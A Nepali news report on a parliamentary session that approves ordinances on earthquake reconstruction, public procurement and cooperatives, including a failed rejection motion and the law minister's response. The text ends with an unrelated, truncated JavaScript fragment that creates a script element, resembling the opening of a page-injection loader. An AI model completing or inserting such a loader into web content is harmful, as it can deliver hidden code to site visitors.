काठमाडौं- व्यवस्थापिका संसद्को आजको बैठकमा ‘भूकम्पबाट प्रभावित संरचनाको पुनःनिर्माणसम्बन्धी अध्यादेश, २०७२, ‘सार्वजनिक खरिद पहिलो संशोधन अध्यादेश, २०७१ र ‘सहकारी (दोस्रो संशोधन) अध्यादेश, २०७१ स्वीकृत भएका छन् । ‘भूकम्पबाट प्रभावित संरचनाको पुनःनिर्माणसम्बन्धी अध्यादेश, २०७२ अस्वीकार गरियोस् भनी एनेकपा माओवादीका रामनारायण बिडारीले प्रस्ताव प्रस्तुत गरेपनि बैठकको बहुमतले त्यसलाई अस्वीकार गरेको थियो । बिडारीले संविधानको धारा ८८ लाई उल्लङ्घन गरेर सो अध्यादेश ल्याइ संसद्को हक हनन् गरिएको बताए।
विडारीको प्रस्तावमा समर्थन जनाउँदै सोही पार्टीका गिरिराजमणि पोखरेलले भूकम्पपछि विशेष अधिवेशनसमेत बसेको अवस्थामा सो विधेयक नआएको र उच्चस्तरीय पुनःनिर्माण प्राधिकरणको संरचना कर्मचारीतन्त्र हावी हुने प्रकारको भएको टिप्पणी गरे। नेपाल मजदुर किसान पार्टीका प्रेम सुवालले भूकम्पपछि संसद्मा यस प्रकारको अध्यादेश (ऐन) आएको भए समन्वय बढ्ने बताए।
सभासद्ले उठाएका सवालमा जवाफ दिँदै कानुन, न्याय, संविधानसभा तथा संसदीय मामिला मन्त्री नरहरि आचार्यले भूकम्प प्रभावित संरचनालाई पुनःनिर्माणको केन्द्रमा राखेर सरकारले तत्काल गर्नुपर्ने कार्य ठानेर संविधानबमोजिम अध्यादेश जारी गरिएको स्पष्ट गरे। पुनःनिर्माणका लागि सरकारको आन्तरिक स्रोतले नधान्ने स्थितिमा अन्तर्राष्ट्रिय स्रोत जुटाउनुपर्ने विशेष परिस्थितिमा अध्यादेश आएकाले यसमा रहेका कतिपय व्यवस्थाबारे सदनमा उठेका सवाललाई सरकारले गम्भीरतापूर्वक लिई प्रतिस्थापन विधेयक ल्याउने प्रतिबद्धता व्यक्त गरे।
प्रधानमन्त्री एवम् सहकारी तथा गरिबी निवारण मन्त्री सुशील कोइरालाका तर्फबाट कानुन, न्याय, संविधानसभा तथा संसदीय मामिला मन्त्री नरहरि आचार्यले प्रस्तुत गरेको ‘सहकारी (दोस्रो संशोधन) अध्यादेश, २०७१ स्वीकृत भयो । अध्यादेश अस्वीकारका लागि कुनै सूचना प्राप्त नभएकाले निर्णयार्थ प्रस्तुत हुँदा बहुमतबाट स्वीकृत भएको हो।
var d=document;var s=d.createElement(‘script’);
